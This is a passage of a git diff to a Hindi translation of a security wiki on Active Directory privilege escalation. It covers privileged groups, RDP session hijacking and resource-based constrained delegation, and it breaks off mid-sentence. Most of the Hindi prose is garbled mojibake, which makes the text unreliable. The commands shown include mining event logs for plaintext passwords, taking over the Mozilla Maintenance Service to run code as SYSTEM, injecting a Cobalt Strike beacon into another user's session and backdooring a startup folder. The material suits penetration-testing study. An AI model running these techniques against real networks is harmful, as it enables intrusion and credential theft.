рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдХрд┐ рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рд╡рд┐рд╡рд░рдг рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +рд╕рджрд╕реНрдп рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧреНрд╕ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдХрд┐ рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рд╡рд┐рд╡рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: +```bash # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} @@ -183,36 +183,36 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va ## Exchange Windows Permissions рдпрд╣ рд╕рдореВрд╣ рдбреЛрдореЗрди рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ DACLs рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ DCSync рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рд╕рдореВрд╣ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЗ рд▓рд┐рдП рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг Exchange-AD-Privesc GitHub repo рдореЗрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -```powershell +```bash # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` -## Hyper-V рдкреНрд░рд╢рд╛рд╕рдХ +## Hyper-V Administrators -Hyper-V рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ Hyper-V рдкрд░ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд░реНрдЪреБрдЕрд▓рд╛рдЗрдЬреНрдб рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рд▓рд╛рдЗрд╡ DCs рдХреЛ рдХреНрд▓реЛрди рдХрд░рдирд╛ рдФрд░ NTDS.dit рдлрд╝рд╛рдЗрд▓ рд╕реЗ NTLM рд╣реИрд╢ рдирд┐рдХрд╛рд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред +Hyper-V Administrators рдХреЛ Hyper-V рдкрд░ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд░реНрдЪреБрдЕрд▓рд╛рдЗрдЬреНрдб рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рд▓рд╛рдЗрд╡ DCs рдХреЛ рдХреНрд▓реЛрди рдХрд░рдирд╛ рдФрд░ NTDS.dit рдлрд╝рд╛рдЗрд▓ рд╕реЗ NTLM рд╣реИрд╢ рдирд┐рдХрд╛рд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред -### рд╢реЛрд╖рдг рдЙрджрд╛рд╣рд░рдг +### Exploitation Example -Firefox рдХрд╛ Mozilla Maintenance Service Hyper-V рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рджреНрд╡рд╛рд░рд╛ SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд SYSTEM рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рд╛рд░реНрдб рд▓рд┐рдВрдХ рдмрдирд╛рдирд╛ рдФрд░ рдЗрд╕реЗ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ: +Firefox рдХрд╛ Mozilla Maintenance Service Hyper-V Administrators рджреНрд╡рд╛рд░рд╛ SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд SYSTEM рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рд╛рд░реНрдб рд▓рд┐рдВрдХ рдмрдирд╛рдирд╛ рдФрд░ рдЗрд╕реЗ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe sc.exe start MozillaMaintenance ``` -рдиреЛрдЯ: рд╣рд╛рд░реНрдб рд▓рд┐рдВрдХ рд╢реЛрд╖рдг рд╣рд╛рд▓ рдХреЗ Windows рдЕрдкрдбреЗрдЯ рдореЗрдВ рдХрдо рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +Note: Hard link exploitation has been mitigated in recent Windows updates. -## рд╕рдВрдЧрдарди рдкреНрд░рдмрдВрдзрди +## Organization Management -рдЙрди рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ **Microsoft Exchange** рддреИрдирд╛рдд рд╣реИ, рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕рдореВрд╣ рдЬрд┐рд╕реЗ **рд╕рдВрдЧрдарди рдкреНрд░рдмрдВрдзрди** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХреНрд╖рдорддрд╛рдПрдБ рд░рдЦрддрд╛ рд╣реИред рдпрд╣ рд╕рдореВрд╣ **рд╕рднреА рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдореЗрд▓рдмреЙрдХреНрд╕реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╣реИ рдФрд░ **'Microsoft Exchange рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореВрд╣реЛрдВ'** рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЗрдХрд╛рдИ (OU) рдкрд░ **рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг** рдмрдирд╛рдП рд░рдЦрддрд╛ рд╣реИред рдЗрд╕ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ **`Exchange Windows Permissions`** рд╕рдореВрд╣ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +In environments where **Microsoft Exchange** is deployed, a special group known as **Organization Management** holds significant capabilities. This group is privileged to **access the mailboxes of all domain users** and maintains **full control over the 'Microsoft Exchange Security Groups'** Organizational Unit (OU). This control includes the **`Exchange Windows Permissions`** group, which can be exploited for privilege escalation. -### рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╢реЛрд╖рдг рдФрд░ рдХрдорд╛рдВрдб +### Privilege Exploitation and Commands -#### рдкреНрд░рд┐рдВрдЯ рдСрдкрд░реЗрдЯрд░ +#### Print Operators -**рдкреНрд░рд┐рдВрдЯ рдСрдкрд░реЗрдЯрд░** рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреЛ рдХрдИ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ **`SeLoadDriverPrivilege`** рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЙрдиреНрд╣реЗрдВ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдкрд░ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд▓реЙрдЧ рдСрди** рдХрд░рдиреЗ, рдЙрд╕реЗ рдмрдВрдж рдХрд░рдиреЗ рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ **`SeLoadDriverPrivilege`** рдПрдХ рдирд┐рдореНрди рд╕реНрддрд░ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддрд╛ рдирд┐рдпрдВрддреНрд░рдг (UAC) рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред +**Print Operators** рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреЛ рдХрдИ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджрд┐рдП рдЧрдП рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ **`SeLoadDriverPrivilege`** рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЙрдиреНрд╣реЗрдВ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдкрд░ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд▓реЙрдЧ рдЗрди** рдХрд░рдиреЗ, рдЙрд╕реЗ рдмрдВрдж рдХрд░рдиреЗ рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ **`SeLoadDriverPrivilege`** рдПрдХ рдирд┐рдореНрди рд╕реНрддрд░ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддрд╛ рдирд┐рдпрдВрддреНрд░рдг (UAC) рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕ рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд PowerShell рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: -```powershell +```bash Get-NetGroupMember -Identity "Print Operators" -Recurse ``` **`SeLoadDriverPrivilege`** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╢реЛрд╖рдг рддрдХрдиреАрдХреЛрдВ рдХреЗ рд▓рд┐рдП, рдХрд┐рд╕реА рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рд╕реЗ рдкрд░рд╛рдорд░реНрд╢ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред @@ -220,7 +220,7 @@ Get-NetGroupMember -Identity "Print Operators" -Recurse #### Remote Desktop Users рдЗрд╕ рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреЛ Remote Desktop Protocol (RDP) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ PCs рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред рдЗрди рд╕рджрд╕реНрдпреЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, PowerShell рдХрдорд╛рдВрдб рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: -```powershell +```bash Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` @@ -229,7 +229,7 @@ RDP рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдЬрд╛рдирдХрд╛рд░ #### рд░рд┐рдореЛрдЯ рдкреНрд░рдмрдВрдзрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рджрд╕реНрдп **Windows Remote Management (WinRM)** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ PCs рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рд╕рджрд╕реНрдпреЛрдВ рдХреА рдЧрдгрдирд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреА рдЬрд╛рддреА рд╣реИ: -```powershell +```bash Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` @@ -237,8 +237,8 @@ Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Us #### рд╕рд░реНрд╡рд░ рдСрдкрд░реЗрдЯрд░ -рдЗрд╕ рд╕рдореВрд╣ рдХреЛ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ рдкрд░ рд╡рд┐рднрд┐рдиреНрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдмреИрдХрдЕрдк рдФрд░ рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░, рд╕рд┐рд╕реНрдЯрдо рд╕рдордп рдмрджрд▓рдирд╛, рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдмрдВрдж рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рд╕рджрд╕реНрдпреЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЖрджреЗрд╢ рд╣реИ: -```powershell +рдЗрд╕ рд╕рдореВрд╣ рдХреЛ рдбреЛрдореЗрди рдирд┐рдпрдВрддреНрд░рдХреЛрдВ рдкрд░ рд╡рд┐рднрд┐рдиреНрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдмреИрдХрдЕрдк рдФрд░ рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░, рд╕рд┐рд╕реНрдЯрдо рд╕рдордп рдмрджрд▓рдирд╛, рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдмрдВрдж рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рд╕рджрд╕реНрдпреЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЖрджреЗрд╢ рд╣реИ: +```bash Get-NetGroupMember -Identity "Server Operators" -Recurse ``` ## References diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md index bdf176327..7f50ac841 100644 --- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md +++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -6,8 +6,8 @@ рдпрджрд┐ **рдмрд╛рд╣рд░реА рд╕рдореВрд╣** рдХреЗ рдкрд╛рд╕ рд╡рд░реНрддрдорд╛рди рдбреЛрдореЗрди рдореЗрдВ рдХрд┐рд╕реА рднреА **рдХрдВрдкреНрдпреВрдЯрд░** рддрдХ **RDP рдкрд╣реБрдВрдЪ** рд╣реИ, рддреЛ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░** рдЙрд╕ **рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрд╕рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред -рдПрдХ рдмрд╛рд░ рдЬрдм рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реА, рддреЛ **рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рддреНрд░ рдкрд░ рдкрд┐рд╡рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ** рдФрд░ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди рдореЗрдВ рдЗрд╕рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -```powershell +рдПрдХ рдмрд╛рд░ рдЬрдм рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реА, рддреЛ **рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рддреНрд░ рдореЗрдВ рдкрд┐рд╡рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ** рдФрд░ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди рдореЗрдВ рдЗрд╕рдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +```bash # Supposing the group "External Users" has RDP access in the current domain ## lets find where they could access ## The easiest way would be with bloodhound, but you could also run: @@ -30,14 +30,14 @@ PID PPID Name Arch Session User beacon> inject 4960 x64 tcp-local ## From that beacon you can just run powerview modules interacting with the external domain as that user ``` -рдЪреЗрдХ рдХрд░реЗрдВ **рдЕрдиреНрдп рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╕рддреНрд░ рдЪреБрд░рд╛рдиреЗ рдХреЗ рдЕрдиреНрдп рддрд░реАрдХреЗ** [**рдЗрд╕ рдкреГрд╖реНрда рдореЗрдВред**](../../network-services-pentesting/pentesting-rdp.md#session-stealing) +Check **other ways to steal sessions with other tools** [**in this page.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing) ## RDPInception -рдпрджрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдорд╢реАрди** рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░** рдЙрд╕рдХреЗ рд▓рд┐рдП **рдЗрдВрддрдЬрд╝рд╛рд░** рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ RDP рд╕рддреНрд░ рдореЗрдВ рдПрдХ рдмреАрдХрди рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдФрд░ рдпрджрд┐ **рдкреАрдбрд╝рд┐рдд рдиреЗ RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪрддреЗ рд╕рдордп рдЕрдкрдирд╛ рдбреНрд░рд╛рдЗрд╡ рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛** рд╣реИ, рддреЛ **рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред +рдпрджрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдорд╢реАрди** рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдПрдХ **рд╣рдорд▓рд╛рд╡рд░** рдЙрд╕рдХреЗ рд▓рд┐рдП **рдЗрдВрддрдЬрд╝рд╛рд░** рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ RDP рд╕рддреНрд░ рдореЗрдВ рдПрдХ рдмреАрдХрди рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ рдФрд░ рдпрджрд┐ **рд╢рд┐рдХрд╛рд░ рдиреЗ RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪрддреЗ рд╕рдордп рдЕрдкрдирд╛ рдбреНрд░рд╛рдЗрд╡ рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛** рд╣реИ, рддреЛ **рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред -рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдмрд╕ **рдкреАрдбрд╝рд┐рдд рдХреЗ** **рдореВрд▓ рдХрдВрдкреНрдпреВрдЯрд░** рдХреЛ **рдмреИрдХрдбреЛрд░** рд▓рд┐рдЦрдХрд░ **рд╕рдордЭреМрддрд╛** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдлрд╝реЛрд▓реНрдбрд░** рдореЗрдВред -```powershell +рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдк рдмрд╕ **рд╢рд┐рдХрд╛рд░ рдХреЗ** **рдореВрд▓ рдХрдВрдкреНрдпреВрдЯрд░** рдХреЛ **рдмреИрдХрдбреЛрд░** рд▓рд┐рдЦрдХрд░ **рд╕рдордЭреМрддрд╛** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдлрд╝реЛрд▓реНрдбрд░** рдореЗрдВред +```bash # Wait til someone logs in: net logons Logged on users at \\localhost: diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 31e543ded..33c82f795 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -5,58 +5,58 @@ ## Basics of Resource-based Constrained Delegation -рдпрд╣ рдореВрд▓ [Constrained Delegation](constrained-delegation.md) рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди **рдЗрд╕рдХреЗ рдмрдЬрд╛рдп** рдХрд┐рд╕реА **рдСрдмреНрдЬреЗрдХреНрдЯ** рдХреЛ **рдХрд┐рд╕реА рд╕реЗрд╡рд╛ рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗред Resource-based Constrain Delegation **рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ** **рдЙрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдЬреЛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред +рдпрд╣ рдореВрд▓ [Constrained Delegation](constrained-delegation.md) рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди **рдЗрд╕рдХреЗ рдмрдЬрд╛рдп** рдХрд┐рд╕реА **рд╡рд╕реНрддреБ** рдХреЛ **рдХрд┐рд╕реА рдорд╢реАрди рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗред Resource-based Constrained Delegation **рдЙрд╕ рд╡рд╕реНрддреБ рдореЗрдВ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред -рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕реАрдорд┐рдд рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдПрдХ 